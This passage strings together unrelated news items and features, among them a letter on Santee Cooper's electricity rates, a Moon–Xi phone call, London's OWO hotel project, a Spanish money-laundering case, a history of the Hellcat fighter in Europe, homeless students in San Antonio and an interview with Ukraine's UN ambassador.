course, the letter writer doesnt provide any evidence or personal experience to back up his claims. Here are some facts: Santee Cooper has the lowest typical residential bill in the state, slightly less than Duke Energy Carolinas, and about 6% less than Duke Progress or Dominion, according to the S.C. Office of Regulatory Staff. According to the U.S. Energy Information Administration, Santee Coopers rates are 8% less than the national average. Projected rates for 2025, which include all of the nuclear debt, will still be less than Dukes rates, but slightly more than Dominions, although this doesnt account for future rate increases Dominion may receive. You have to wonder how an institution that is so poorly run still manages to provide such low rates, in addition to having excellent customer service ratings and one of the nations lowest customer outage rates. MIKE LANKFORD Retired manager of generation services at Santee Cooper Summerton Court Pinopolis President Moon Jae-in talked with his Chinese counterpart Xi Jinping on the phone for half an hour on Thursday afternoon about the spread of coronavirus and resumption of the U.S.-North Korea talks, according to Cheong Wa Dae spokesman Kang Min-seok. It was their first phone conversation since May 2018. "The government is going to give China, our closest neighbor, what little help we can offer in its efforts to combat COVID-19 because we regard China's difficulties as our own," Kang quoted Moon as saying. "We believe that the Chinese people, united under President Xi, will overcome this crisis with their power of solidarity." Xi thanked him for the remarks, according to Cheong Wa Dae. Moon extended his condolences to the Chinese victims of coronavirus and also thanked Beijing for its cooperation in the evacuation of Koreans from Wuhan, the epicenter of the outbreak. Moon and Xi also talked about resumption of the U.S.-North Korea talks. "The two leaders shared the view that the top priority should be placed on resumption of talks between the North and the U.S. and that the two sides should patch up their differences in opinions," the spokesman said. The two leaders agreed that Xi will visit Korea as scheduled in the first half of this year, the spokesman added. He is expected in June but will first visit Tokyo in April as scheduled despite the spread of coronavirus. Seoul hopes that Beijing will cooperate in North Korean issues and finally fully lift an unofficial boycott of Korean goods and services. The Hinduja Group has announced an extension of its tie-up with Raffles Hotels & Resorts, involved in the transformation of former British Prime Minister Winston Churchill's Old War Office (OWO) building, in the heart of London into a luxury hotel. An agreement signed by the London-headquartered conglomerate in June 2017 for Raffles to operate a 125-room and suites flagship hotel at the iconic heritage building in Whitehall was expanded on Thursday to cover 85 luxury residences on the site. The Hinduja Group, owned by British Indian Hinduja brothers, alongside project collaborators Obrascon Huarte Lain Desarollos (OHLD), also officially unveiled its name as "The OWO" at a ceremony this week. "This is an exciting and momentous day for the Old War Office as we reach the highest point of the building and announce the official name of the project as 'The OWO'," said Hinduja Group Co-Chairman Gopichand P Hinduja. "After an exhaustive process, Raffles were selected above other leading global hotel brands as our partner to deliver a world-class hotel experience of peace and warmth. We are delighted to announce Raffles as operators of the branded residences, the first of their kind in Europe," said Hinduja, whose family topped the UK's annual 'Sunday Times Rich List' in 2019 with an estimated wealth of GBP 22 billion. The OWO project is being developed by the Hindujas and joint venture partner OHLD through their special purpose vehicles. They had announced plans to restore and redevelop the Grade II listed Old War Office building, originally completed in 1906, into a luxury hotel in 2017. The work on the project has been underway since then and reached the topping out ceremony this week, which refers to reaching the highest point in the building, with the opening planned in two years' time. OHL Chief Executive Officer Jose Antonio Fernandez Gallar said: "The Old War Office has been an ambitious and technically complex architectural and engineering project, and we are delighted to achieve this significant milestone as we progress towards the project's opening early 2022. Sebastien Bazin, Chairman and Chief Executive Officer of Accor, of which Raffles is a part, said they were confident that the "sublime location" of the new hotel will make the list of the five most beautiful in the world, alongside Raffles Singapore. Raffles is a beloved brand with British roots, named after the British statesman and founder of Singapore, Sir Thomas Stamford Raffles, so it is very fitting that Raffles is coming home to London and that this will be our first residential project in Europe," said Bazin. The OWO building, which was sold by the UK's Ministry of Defence for 350 million pounds nearly six years ago, has formerly been used as the MI6 headquarters in several James Bond films, from 'Octopussy' to 'Skyfall'. One of the four entrances to the building is referred to as The Spies Entrance, as it was used by members of MI5 and MI6 security services to enter the Old War Office discreetly when it was used as Chruchill's base during World War II. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The National Police arrested 13 people on the Costa del Sol on Tuesday for their alleged role in a money laundering operation. Searches were carried out in 19 different premises, including a law firm. Munoz, who was first elected mayor in 1999, has faced numerous accusations over the years, from misconduct to money laundering Among those arrested was the former mayor of Manilva, Antonia Munoz, who is under investigation for bribery and influence peddling. Munoz was released by the police on Wednesday with charges. The case also involves tax offences and money laundering through real estate investment, according to Europa Press. Investigation into the former mayor started as a result of a tip-off from the Italian authorities that one of their compatriots was investing in property on the Costa del Sol as a means of laundering money. The trail ultimately led to Munoz. This is not the first time Munoz has been under investigation. During her time as mayor she was involved in a scandal over council contracts and jobs being awarded to family members and supporters. She quit her post in October 2014, after being forced out of the Izquierda Unida party in mid-2013. In January 2018, a court agreed to open proceedings against the former mayor and six other people for misconduct in a public office and embezzlement. Munoz, who has been released with charges told SUR on Wednesday: Im really calm about this. Im not hiding anything, nor have I ever hidden anything. The former mayor also said that she didnt understand why she was being investigated: I dont know what any of this is about. If I knew Id be the first to try to clear things up. Pramerica Life Insurance Limited launched an insurance awareness campaign to educate citizens and achieve 100% insurance literacy in Firozpur, Punjab. The campaign was flagged off by Mr. Kulwant Singh, IAS, Deputy Commissioner & District Magistrate, Ferozepur District and Mr. Ravinder Pal Singh Sandhu, ADC (Development). The campaign is set to reach out to 80 locations within Firozpur district by conducting Nukad Nattaks and captive audience discussions. In line with IRDAIs (Insurance Regulatory and Development Authority of India) pilot program, the purpose of the campaign is to take insurance to the grassroot level and to achieve 100% insurance literacy and inclusion in the adopted district. Often consumers are not aware of the importance of life insurance and the where, why and how of purchasing it. Also, the dos and donts are not known to many. The campaign primarily aims to address these issues and to make people aware of the benefits of insurance in their day-to-day life, products available for covering various needs during different stages of life, right buying by way of taking informed decisions along with the rights and responsibilities of a policyholder. Pramerica Life Insurance is one of the first few insurers advocating the cause of Insurance Awareness and Consumer Education with specific focus in the district of Firozpur. Commenting on the initiative, Mr. Anoop Pabby, MD and CEO of Pramerica Life Insurance, said, When the consumer is empowered through insurance education, his vulnerability to unethical market practices gradually declines and his confidence in deriving benefit from insurance products increases, thereby paving way for greater insurance inclusion. The campaign aims to achieve exactly that by reaching out to the common man and educating him about the need and importance of insurance. Renowned as the Pacific Wars most successful fighter, the Grumman F6F also contributed to Allied victory in the European theater. Four Grumman F6F-5 Hellcats swept in from the sea, hunting enemy aircraft attempting to get out from under the U.S. Navys aerial umbrella. Heading inland, the fighter leader spotted two twin-engine bombers bearing enemy markings on their wings. The setup was nearly ideal: The leader and his wingman nosed down, lined up the nearest target in their reflector gunsights and pressed the triggers on their stick grips. Motes of light played over the camouflaged bomber, which absorbed the full impact of 12 .50-caliber machine guns. It gushed smoke, descending rapidly and smashed into the ground. Another successful shootdown in the Pacific? No, a Heinkel He-111 had just become the first German victim of Navy Hellcats over Europe. The date was August 19, 1944, the location southern France. Hellcats had been gaining air superiority over the central and western Pacific for 12 months, but the pedigreed feline from Long Island also extended its claws against Germany, in a truly world war. Its service encompassed the last 13 months of combat in the European Theater of Operations, flying with the British and U.S. navies. Britain was a steady customer of Grumman Aircraft Engineering Company, as the Royal Navy badly needed high-performance fighters. Ian Cameron, a British naval aviator, lamented, Between the first day of war and the last, the Fleet Air Arm received not one single British aircraft which wasnt either inherently unsuited for carrier work or was obsolete before it came into service. The British bought nearly 1,100 Grumman Martlets (their name for the F4F Wildcat) between 1940 and 44 and 2,000 Vought Corsairs beginning in June 1943. The following month No. 800 Squadron swapped its Hawker Sea Hurricanes for F6F-3s, designated Gannet Is after the northern seabird and renamed Hellcat Is in January 1944. Ultimately the Royal Navy obtained 252 F6F-3s and 930 F6F-5s (as Hellcat IIs), including some night fighters. The first British Hellcats entered combat in April 1944, in an environment far removed from the F6Fs familiar Pacific climes. A British Hellcat takes off from the escort carrier HMS Emperor at dawn on April 3, 1944, to help escort a bombing strike on the German battleship Tirpitz in Kaafjord, Norway. (IWM A22653) A British Hellcat takes off from the escort carrier HMS Emperor at dawn on April 3, 1944, to help escort a bombing strike on the German battleship Tirpitz in Kaafjord, Norway. (IWM A22653) The German battleship Bismarck had been sunk in May 1941 but three years later its sister ship Tirpitz still lurked in Norways fjords, representing a potential threat to Allied shipping. In early April two British fleet carriers and four escort carriers deployed to northern waters intending to end that threat. The embarked squadrons included No. 800 aboard HMS Emperor, steaming 150 miles north of the Arctic Circle. The operational plan involved two strikes, each with 21 Fairey Barracuda dive bombers escorted by 20 Hellcats and Martlets. The first aircraft launched early on April 3, 1944, 120 miles from the target. The Royal Navy aviators flew lowsome at just 50 feetto minimize chances of German radar detection. Almost 90 minutes later the first strike force sighted Tirpitzs 45,000-ton bulk nestled in the craggy protection of Kaafjord. The defenders spotted the attackers inbound and spooled up smoke generators while some of the thickest flak seen in Scandinavia erupted in the frigid air. The first strike caught the Germans with their trousers down, said Sub-Lt. Donald Sheppard. In the pale, slanting light the Grummans dropped into their dives, strafing to suppress anti-aircraft fire. They were surprisingly effective, as only one dive bomber was shot down. In exchange, the ungainly Barracudas claimed six hits. Little more than an hour later the second strike rolled in. By then the Germans were fully alert, and their gunners downed a Barracuda and a Hellcat, but as many as nine more bombs rocked the battleship with direct hits or near misses. The fighter leader, Lt. Cmdr. Stanley Orr, concluded, The Hellcat proved itself to be an excellent gunnery platform on this mission. Tirpitz was out of commission until June, but subsequent attacks achieved few results owing to heavy weather. Another Hellcat squadron, HMS Furious No. 1840, covered the next to last effort, which claimed only light damage to the ship. Tirpitz ultimately was sunk by Royal Air Force Lancasters in November 1944. Hellcat pilots aboard Emperor study maps and a model of the Norwegian fjord prior to joining the strike on Tirpitz. (IWM A22651) Hellcat pilots aboard Emperor study maps and a model of the Norwegian fjord prior to joining the strike on Tirpitz. (IWM A22651) A month after the first Tirpitz strike, Hellcats were back in Norwegian skies, engaging in a unique dogfight with the Luftwaffe. On May 8 Emperors No. 800 Squadron escorted a shipping strike that was intercepted by fighters of Jagdgeschwader (Fighter Wing) 5. The British reported a mixed bag of Me-109Gs and Fw-190As. The Messerschmitt and Focke-Wulf fighters were roughly as fast as the Grumman at sea level, but neither could turn with a Hellcat. Being lighter, with a lower power loading, the 109 possessed a climb advantage. The Germans splashed one Hellcat on the first pass but the other Fleet Air Arm pilots used their superior maneuverability to claim two 109s and a 190. The latter was credited to Lieutenant Blyth Ritchie, a Scot with 3 previous victories in Sea Hurricanes. In turn, the Germans erroneously claimed three Grummans, though a second Hellcat likely fell to flak. The Luftwaffe actually lost three Messerschmitts and pilots, as no Focke-Wulfs were downed. The next day Emperors other Hellcat squadron, No. 804, splashed two Blohm & Voss Bv-138 flying boats. The skipper of 804 Squadron was the highly experienced Lt. Cmdr. Orr, with at least 8 victories in Fairey Fulmars from his 1940-41 Mediterranean days. On May 14 Emperors Hellcats pounced on a flock of Heinkel He-115 floatplanes off Rrvik. Ritchie, leading a No. 800 Squadron flight, easily shot one down, becoming one of only 14 Royal Navy aces. Then he rendezvoused with Orr and shared in the destruction of another Heinkel. At least two other He-115s were strafed on the water. By the time we had knocked our speed off and turned around to run in at them again, the three remaining floatplanes were bobbing up and down on the water like sitting ducks, Orr related. White Flight had since exhausted their ammunition after strafing the remaining He 115s, and it was left to us to finish them off. I shared in the sinking of one and then we set another alight. A No. 800 Squadron aircraft flown by Sub-Lieutenant Holloway was hit by return fire from one of the He 115s and the pilot was forced to bale out on the return trip to Emperor. Sadly, he was never found. Anvil-Dragoon was the second largest amphibious operation in Europe during World War II. Two and a half months after the Normandy landings, the troops participating in D-day South went ashore in the most glamorous venue of any military enterprise in the war: the French Riviera. The initial landings were on August 15, between Toulon and Cannes. Among the seven British escort carriers supporting Dragoon was Emperor, still hosting the Hellcats of 800 Squadron. (The other Royal Navy flattops carried Wildcats and Supermarine Seafires.) Hellcats possessed an inherent advantage over the Royal Navys Wildcats and Seafires. F6F-5s routinely carried more ordnance, lending greater versatility as fighter-bombers. For instance, the Seafire Mark III usually loaded four rockets versus the Hellcats six. Two American Hellcat squadrons were aboard the escort carriers USS Tulagi and Kasaan Bay, each with 24 new F6F-5s. Tulagi carried Lt. Cmdr. William Bush Bringles Observation Fighter Squadron 1 (VOF-1), whose pilots specialized in spotting naval gunfire. Hard experience had shown the vulnerability of traditional spotter floatplanes to enemy fighters, so Bringles crew wore two hats as artillery observers and fighter pilots. They were equally adept at both tasks. Bringles pilots had cut their teeth on the Vought F4U-1, as had Lt. Cmdr. Tom Blackburns VF-17 and Joe Cliftons VF-12. We loved the Corsair, Bringle said, but the Navy, in a left-hand/right-hand mixup, did not fully appreciate that the three squadrons had largely cured the F4Us notorious carrier-landing problems. Therefore, VOF-1 and VF-12 went to war in Hellcats. A visiting U.S. Navy F6F-5 departs Emperor while one of its own Hellcats waits its turn on deck. (IWM A25503) A visiting U.S. Navy F6F-5 departs Emperor while one of its own Hellcats waits its turn on deck. (IWM A25503) Kasaan Bay carried VF-74 under Lt. Cmdr. Harry Bass, hurriedly deployed to meet the pressing need of Anvil-Dragoon. Though not specifically trained for fighter-bomber missions, Bass pilots would run up respectable records with bombs and rockets. The squadron also beached a night-fighter detachment on Corsica, providing nocturnal protection to the amphibious force. D-day, August 15, dawned gray and misty, with both U.S. squadrons bombing German coastal defense guns. Subsequent missions were largely armed reconnaissance, attacking targets of opportunity with bombs, rockets and even impact-fuzed depth charges. Neither VOF-1 nor VF-74 had trained for close air support, but they answered requests from the U.S. VI Corps when possible. Though the infantrymen described pinpoint targets, without an airmans eye to direct the fighters it was almost impossible for aviators to identify the objective. Enemy transportation networks were easier and more vulnerable targets. The Hellcats bombed rail lines and strafed roads crowded with German forces rushing southward to oppose the landings. To Lieutenant Fred Schauffler, a two-lane road resembled 5:00 oclock traffic back home in Boston. The two baby flattops logged 100 sorties that day, without loss. One Kasaan Bay Hellcat suffered flak damage that prevented lowering its tailhook, so the pilot recovered ashore on Corsica. D-plus-2 was tougher. Searching for likely targets on the 17th, a pair of VF-74 pilots disappeared overland in poor weather. We usually flew with six rockets, and sometimes one or two bombs, Bringle recalled. We had a time over target on gunfire spotting, and between times wed often look for something to bomb and strafe. A German train smokes after being attacked by VOF-1 pilot Ensign John Mooney west of Carcassonne. (National Archives) A German train smokes after being attacked by VOF-1 pilot Ensign John Mooney west of Carcassonne. (National Archives) During the first four days the Hellcats saw no Luftwaffe airplanes. Then, on the morning of August 19, some VOF-1 pilots glimpsed three He-111s 50 miles northwest of Marseilles but lacked fuel to pursue. However, later that afternoon Bringles executive officer, Lt. Cmdr. John Sandor, flushed a pair of Heinkels 125 miles inland, south of Lyon. The He-111s split up, with Sandor and his wingman chasing one down to 700 feet. He and Ensign David Robinson attacked from starboard, scoring good hits, and the bomber crash-landed. Some of the German crewmen were killed as the Americans made a strafing pass. Meanwhile, the second section had reeled in the other Heinkel. Lieutenant Rene Poucel and Ensign Alfred Wood shot it down from astern, sending it crashing into the same region where Poucels parents had been born. Scouting farther afield, Wood came across another Heinkel, fired from 6 oclock and flamed both engines. Sandor and his three pilots also claimed 21 trucks and wrecked a locomotive before trapping aboard Tulagi. Fighting 74 also carved some notches on the 19th. Patrolling the Rhone River, Bass division downed a Junkers Ju-88 that morning. Later, two Kasaan Bay divisions jumped a Dornier Do-217. Six of the eight pilots attacked but only two scored: Lieutenant (j.g.) Edwin Castenado and Ensign Charles Hullard shared the credit. It made Castenado the squadrons top scorer, with a quarter of the Ju-88 and half of the Do-217. At sundown on D-plus-4 the naval aviators could take satisfaction in having performed well in a variety of missions. But August 20 turned sour: Bass Hellcat was hit by flak while strafing northwest of Lyon and he fatally crashed. Bringles squadron lost two planes. Lieutenant David Crockett was spotting gunfire over Toulon Harbor when he was forced to bail out. The Germans nabbed him and he endured four days of captivity before the city surrendered. Lieutenant James Alstons plane was subsequently hit while strafing. He zoomed up to 5,000 feet and jumped as one wing failed. He was reported safe that same day. Ensign Alfred Wood (left) and Lt. (j.g.) Edward Olszewski of VOF-1 pose with a Hellcat in which each scored a double victory. (U.S. Navy via Barrett Tillman) Ensign Alfred Wood (left) and Lt. (j.g.) Edward Olszewski of VOF-1 pose with a Hellcat in which each scored a double victory. (U.S. Navy via Barrett Tillman) More aerial encounters occurred on the 21st, again involving Tulagi pilots. Lieutenant (j.g.) Edward Olszewskis and Ensign Richard Yentzers F6Fs had taken flak damage but they continued the mission, discovering three Junkers Ju-52/3m transports northbound from Marseilles. Olszewski selected the nearest in the formation and destroyed it in two passes. Then, with only one .50-caliber still firing, he dropped the second trimotor. Yentzer made three gunnery runs to flame the lead aircraft. That day VOF-1 sustained another loss when Lieutenant (j.g.) John Coynes Hellcat came apart while diving on a truck convoy. He went over the side barely in time to open his parachute but landed safely. On the evening of D-plus-6 the American carriers pulled back for two days of replenishment. Meanwhile, British No. 800 Squadron kept a Hellcat presence over southern France, but lost three aircraft, probably all to flak. An F6F-5 from VF-74 prepares to launch from USS Kassan Bay, bound for targets in southern France. (National Archives) An F6F-5 from VF-74 prepares to launch from USS Kassan Bay, bound for targets in southern France. (National Archives) With Tulagi and Kasaan Bay back on the line, the Dragoon operation continued for another week. From August 24 to 29, two more VOF-1 Grummans were lost in water landings, including that of squadron CO Bringle. He and another pilot were rescued. Flying for 13 days, the two American squadrons wrote off 11 F6Fs of the 48 assigned. Fighting 74 lost four pilots and VOF-1 two. But between them they were credited with downing eight German aircraft, destroying some 800 vehicles and wrecking or immobilizing 84 locomotives. A tribute to the Grummans effectiveness came from Rear Adm. Thomas Troubridge, the British commander of the Allied carrier force. He singled out the F6Fs in his after-action report, noting, The U.S. aircraft, especially the Hellcats, proved their superiority. Meanwhile, Bush Bringles crew got on with the war. Redesignated as a composite squadron (VOC-1), the naval aviators became globetrotters, flying FM-2 Wilder Wildcats from escort carriers in the Pacific. Gunfire-spotting skills were so highly valued that VOC-1 probably logged more hours per pilot than any Pacific carrier squadron during 1945. In addition to the two Ju-52s he had downed over France, Ed Olszewski claimed a Nakajima B5N Kate torpedo bomber off Okinawa to become one of probably three U.S. Navy pilots with German and Japanese planes to his credit. For Grummans hardy Hellcat, World War II truly was a global conflict. How the Hellcat Stacked Up Against the Luftwaffe The Royal Air Forces Aeroplane and Armament Experimental Establishment at Boscombe Down evaluated a wide variety of Allied and German aircraft during the war. Based on those comparisons, the Grumman Hellcat and Messerschmitt Me-109G were evenly matched for top speed at sea level (305 mph), though the Gustav gained 20 mph minus its drop tank. Hellcats nearly always flew with a 150-gallon external tank. Top speed was very close for both fighters at 22,000 feet: 375 vs. 367, slightly favoring the Grumman, but the Messerschmitt pulled ahead at 395 mph clean. The British evaluated a number of Luftwaffe aircraft, such as this Messerschmitt Me-109G-6 captured in Italy in the summer of 1943. (National Archives) The British evaluated a number of Luftwaffe aircraft, such as this Messerschmitt Me-109G-6 captured in Italy in the summer of 1943. (National Archives) In a turning fight the 109 could not compete with the Hellcat, whose 36 pounds per square foot wing loading trumped the Messerschmitts 42. But vertical performance gave the 109 a decided advantage, with a power loading of 4.9 pounds per square foot versus 6.1 for the Grumman. Those figures translated to average climb rates of 3,400 feet per minute for the 109 and 2,500 for the Hellcat. However, the Luftwaffe pilot would have to fly a fairly precise vertical profile to negate the Grummans superior maneuverability. Grumman worked hard on cockpit geometry and design, giving the F6F pilot far better visibility than the Messerschmitt provided. Hellcats certainly packed a more lethal punch: six wing-mounted .50-caliber machine guns versus the 109s typical battery of a 20mm cannon and two 13mm guns, all in the nose. Finally, the rugged Grumman airframe and legendary Pratt & Whitney radial translated to better survivability than afforded by the lighter 109s inline Daimler-Benz. Comparing the F6F-3 to the Focke-Wulf Fw-190A, British test pilots found them well matched. Legendary Royal Navy pilot Eric Winkle Brown noted: The German had a speed advantage; the American had a slight advantage in climb. Both were maneuverable and had heavy firepower. Verdict: this was a contest so finely balanced that the skill of the pilot would probably be the deciding factor. Sothe Hellcat and Corsair (not mentioned here, but generally a bit better than the Hellcat) would hold their own in the air over Germany. Barrett Tillman is the award-winning author of nearly 800 articles and more than 40 books, including Hellcat: The F6F in World War II and On Wave and Wing: The 100-Year Quest to Perfect the Aircraft Carrier, which are recommended for further reading. This feature originally appeared in the March 2020 issue of Aviation History. To subscribe click here! Are you ready to build Olszewski and Woods F6F-5? Click here! At a gathering of dozens of public school officials, advocates and social workers Thursday, a 26-year-old woman described how she was able to hide her chronic homelessness from almost everyone around her while growing up in San Antonio. I didnt really come out about my homelessness until I was applying for scholarships, said Irene, who only provided her first name to protect her privacy. Irenes mom would do laundry each morning so she could have clean clothes for school. When they were living in transitional housing and Irenes friends would visit, her mother would decorate the space with family photographs so it would look like theyd been there a while. For a long time, I didnt even understand that we were homeless, Irene said, describing a problem that school leaders run into constantly: How do you identify and support homeless students if they dont call themselves homeless? On ExpressNews.com: San Antonio receives state grant to help homeless youth with emergency shelter, transitional housing Patricia Julianelle, the director of program advancement and legal affairs at SchoolHouse Connection, organized the workshop that drew officials from traditional school districts and charter networks around Bexar County to discuss how better to serve the thousands of students living with unstable housing situations. The Washington-based nonprofit works to end homelessness by partnering with schools and social service agencies. Proposed solutions included things like better questionnaires to suss out homelessness: Using words like residency could intimidate immigrants, and asking straightforward questions could cause parents to feel ashamed. Julianelle recommended a question like, Have your utilities ever been shut off? Receiving help, for some families, is a very difficult prospect and a very private one, said Tyler Shoesmith, the senior director of student leadership and well-being for North East Independent School District. We try to use language thats softer, (to help them) understand that the services that were providing are not going to marginalize your child in the future. Shoesmith estimates NEISD will have about 1,200 homeless students this school year out of an overall student population of about 64,000. The district has achieved a graduation rate of 91 percent for its homeless youth, through active liaisons who work with students and provide academic support, Shoesmith said. San Antonio Independent School District, where Irene was a student, counted 3,000 homeless students this year, about 6 percent of its enrollment. When Irene was 10, she and her mom moved into the now-closed city-run Dwyer Avenue shelter, where they met Estelle Garza, the districts director of family and student support services. Garzas goal was to get Irene enrolled, arrange transportation so she could get to school every day and remove any other barriers that could get in the way of her education. Garza, who also was at Thursdays gathering, said she still runs into problems identifying homeless youths particularly the older kids whod rather stay with friends than with their mom at a shelter, she said. The district also provides VIA passes to students to help them get to class. Irene eventually graduated from Jefferson High School (her 11th school, including seven different elementaries), and then from Texas State University with a degree in social work a career choice inspired by her own experiences. She now serves as a homeless youth peer leader for SchoolHouse Connection, along with juggling a job at H-E-B and driving for Lyft. I met a social worker and she really helped me and my mom, Irene said. I want to be that person for other youth. Ashley McBride covers several school districts and the Alamo Colleges District in the San Antonio and Bexar County area. Read her on our free site, mySA.com, and on our subscriber site, ExpressNews.com. | Ashley.McBride@express-news.net | Twitter: @Ashleynmcb Turkish President Recep Tayyip Erdogan will arrive in Azerbaijan on a one-day visit, Turkey's Presidential Cabinet said. According to Trend, the visit will take place on February 25. Within the framework of the visit to Baku, Erdogan will take part in a meeting of the Azerbaijan-Turkey High-Level Strategic Cooperation Council. Google Streetview EDWARDSVILLE The owners of the BP gas station and convenience store at 301 S. Buchanan St., Edwardsville, have filed suit against the local liquor commission, the Illinois Liquor Commission and Edwardsville Mayor Hal Patton over a revoked liquor license. Edwardsville Petroleum LLC, represented by Charles J. Baricevic of Belleville, claims it was denied a right to an attorney and there was not sufficient evidence to revoke its license. Patton was named in his role as liquor commissioner. The Illinois Liquor Commission was named as the issuer of the license. Coleraine-based manufacturing firm Maine Surface Finishing is creating 155 jobs in a major 9.5million expansion. The company provides powder coating, wet paint spraying and in-house fabrication across its four factories in Coleraine, Dunloy, Garvagh and Magherafelt. Roles to be recruited include highly skilled engineers, fabricators, welders and administrative roles at the companys premises in Wattstown Business Park in Coleraine, an Invest NI-owned industrial park. Invest NI has provided 1.5m to the company for the jobs and to purchase new equipment. Forty of the 155 jobs are already in place and the other 115 staff will be recruited over the next two years. The new jobs will contribute almost 3.8m in annual salaries to the Northern Ireland economy, the Department for the Economy said . Adrian Dixon, director of Maine Surface Finishing, said: We are delighted to be expanding our operations in Coleraine and working with Invest NI to support 155 jobs for the local economy. "Our investment will include the purchasing of state of the art equipment, the development of two new units in Wattstown Business Park and the introduction of a new ICT system so we can effectively manage projected growth. "Whilst we already have a strong position supplying many of Northern Irelands original equipment manufacturers, this investment will enable us to improve our efficiency, ramp up production and pursue identified opportunities in GB and ROI." It is extremely positive news for Northern Irelands manufacturing industry. Diane Dodds Economy Minister Diane Dodds described it a "significant investment" marking an exciting development in the companys 20 year history. "It is extremely positive news for Northern Irelands manufacturing industry," she said. Mrs Dodds continued: The investment is testament to Maine Surface Finishings commitment to the Coleraine area. It will also strengthen the companys position as an important player within Northern Irelands materials handling sector, providing key supply chain services to some of our leading exporters. Invest Northern Ireland has had a long-standing relationship with the company, having provided advice, guidance and financial support. Kevin Holland, Invest NIs chief executive said: We are pleased to be supporting Maine Surface Finishing to create over 150 jobs in the Causeway Coast and Glens Borough Council area. "The companys strategic focus on innovation is allowing it to make its largest investment to date, expand its customer base and significantly increase its turnover." On February 20, newly appointed Permanent Representative of Ukraine to the UN Sergiy Kyslytsya presented his credentials to UN Secretary-General Antonio Guterres. This procedure marks the beginning of the ambassador's activity in his post. Prior to that, Kyslytsya held the post of deputy minister of foreign affairs of Ukraine, was a member of the official Ukrainian delegation at a number of sessions of the UN General Assembly, and represented Ukraine at meetings of the Security Council and other key organs of the United Nations. We talked to Mr. Kyslytsya right after the presentation of the credentials, during a break in the hearings on the Ukrainian issue. On this day, the UN General Assembly discussed the situation in the temporarily occupied territories of Ukraine, and Ukrainian Foreign Minister Vadym Prystaiko delivered a speech. Q: How would you assess today's meeting of the UN General Assembly on the situation in the temporarily occupied territories of Ukraine? A: Today's event, on the one hand, is planned, and, on the other hand, it is a landmark. Because one of the tasks of Ukrainian diplomats is to keep on the agenda of the UN General Assembly the attention to the issue of Russia's war against Ukraine and the de-occupation of seized territories. The number of those who wished to speak was so high that even a break was announced during the discussion [about 30 speakers spoke on this issue, and the discussion lasted almost five hours]. This shows that attention to this problem is even intensifying. The interest of the United Nations, the General Assembly, in particular, is all the more important because the General Assembly makes fundamental decisions, which then become part of our evidence base and arguments in international tribunals. Therefore, the importance of events at UN headquarters should in no way be diminished. I say this not because I became Ukraine's permanent representative to the UN, but because I need to look more broadly at the results of the decisions that are being taken now to overcome the effects of the war in 10-20 years. After all, the end of the war is not only about achieving peace, which is the most important thing, but also about a lot of work that needs to be dome after the war itself eliminating consequences, paying compensation to victims, and so on. Q: What did you discuss with Secretary-General Antonio Guterres? A: Our conversation was very short, because the presentation of credentials is, in fact, a ceremonial meeting. But since I have known the Secretary-General for a number of years, the meeting was very warm. We have cooperated on many issues for a long time. I would like to remind you that Ukraine participates in one of the most important spheres of UN activity - peacekeeping operations. And it is very appreciated that despite the war, when we are forced to defend our country, we continue to provide our resources, particularly in Africa, for peacekeeping operations. As a responsible country, we cannot just be a consumer. We talked about this with the secretary-general. We also discussed future high-level contacts between the UN and Ukraine. This issue was also raised during talks between the secretary-general and Foreign Minister Vadym Prystaiko. Q: What fellow ambassadors have you already got acquainted with? With whom do you have long-standing contacts? A: There are many acquaintances here... Many friends of Ukraine. Look at the list of speakers on today's issue who supported Ukraine at the General Assembly meeting - it is huge. I have known many ambassadors since I began to work as a deputy minister for international relations. We work very well with German Ambassador Christoph Heusgen - one of the best German diplomats. He knows a lot of things that other colleagues do not, because he was a direct participant in the Minsk talks when he was working in the Federal Chancellery. I would also mention the permanent representatives of France, the United States... Many ambassadors who cooperate with us represent Central Europe, Georgia, and the Baltic countries. There are 193 ambassadors working for the UN in New York. It will take a year to meet with all of them. It will take two years to talk to all of them. And it may take several more years for them to become your allies. Q: As far as I know, you speak not only English but also Spanish... A: Yes... The fact that sometimes I speak Spanish at the UN Security Council and the UN General Assembly opens the door to Latin American countries with which we seek to intensify dialogue. Q: What is your main mission in this post? Is it different from that of your predecessor, Volodymyr Yelchenko, who was appointed Ukraine's ambassador to the United States? A: I am proud that my predecessor was Volodymyr Yelchenko. At the same time, it imposes a special responsibility on me, because I cannot afford a bar lower than the one held by Volodymyr Yelchenko. I am also responsible for the fact that President Volodymyr Zelensky decided to appoint me ambassador to the United Nations at this difficult time. To date, our participation in the UN is not an academic or theoretical matter. It is a matter of our country's survival and the end of the war. And that is the main priority in my work, which is what the country's leadership expects from me. This is what I will do first and foremost at the UN. Let us look at the perspective. Let us imagine that the war will soon end with our joint efforts. What then? The question of the reintegration of the currently occupied territories will then arise. And it's not just billions of U.S. dollars. It will also be necessary to involve the international community. The UN has a wide range of technologies, tools, and experience. Without the active involvement of the United Nations in the reintegration and rebuilding of Donbas, it would be much more difficult and costly to overcome this problem. Q: When exactly will you start working as Ukraine's permanent representative to the UN? A: The government relieved me of my duties as Ukraine's deputy foreign minister, starting on February 27. The decision was made a few weeks ago. For the United Nations, I have been the permanent representative since I handed over my credentials to the Secretary-General, that is, from today. I have yet to return to Kyiv in a week to resolve some working issues and return to New York on February 28. That does not mean that they will pay me two salaries... They will always pay one salary, under all circumstances (laughs). I will add that I started my work with the UN in 2006 when I returned from a business trip to Washington, where I held the post of minister-counselor to the Ukrainian ambassador to the United States. That's why I have never felt a novice in this building. I have never felt that the issues being addressed at the UN are something new to me. These are native walls to me. Volodymyr Ilchenko, New York Photo: ukraineun.org, Ukrinform Godwin Obaseki, governor of Edo state, has revoked the certificate of occupancy granted to James Ibori, a former governor of Delta, ... Godwin Obaseki, governor of Edo state, has revoked the certificate of occupancy granted to James Ibori, a former governor of Delta, in respect of a property on plot 103A Aiguobasimwin crescent (Pictured) in Benin, capital of the state. Obaseki said he revoked the property in exercise of the power conferred on him by sections (28) 1 and 38 of the land use decree of 1978 and by virtue of all other laws enabling him on that behalf. Obaseki, who signed the revocation order, said the property contained an area of approximately 1985.950 square meters. A United Kingdom court sentenced Ibori to prison after convicting him of fraud and money laundering in 2012. The former governor ended his jail term in 2016 and returned to Nigeria the following year. In January, the UK launched a fresh bid to confiscate proceeds of loot in the 117 million worth of properties linked to the former governor. British prosecutors had made the first attempt to confiscate his assets, said to be proceeds of crime, during his jail term but failed as a result of unresolved legal issues. Jonathan Kinnear, a British prosecutor, was quoted to have said the total value of the known proceeds of his (Iboris) crimes is 117 million (equivalent of about N55.4 billion) but that only a portion of that sum is likely to be 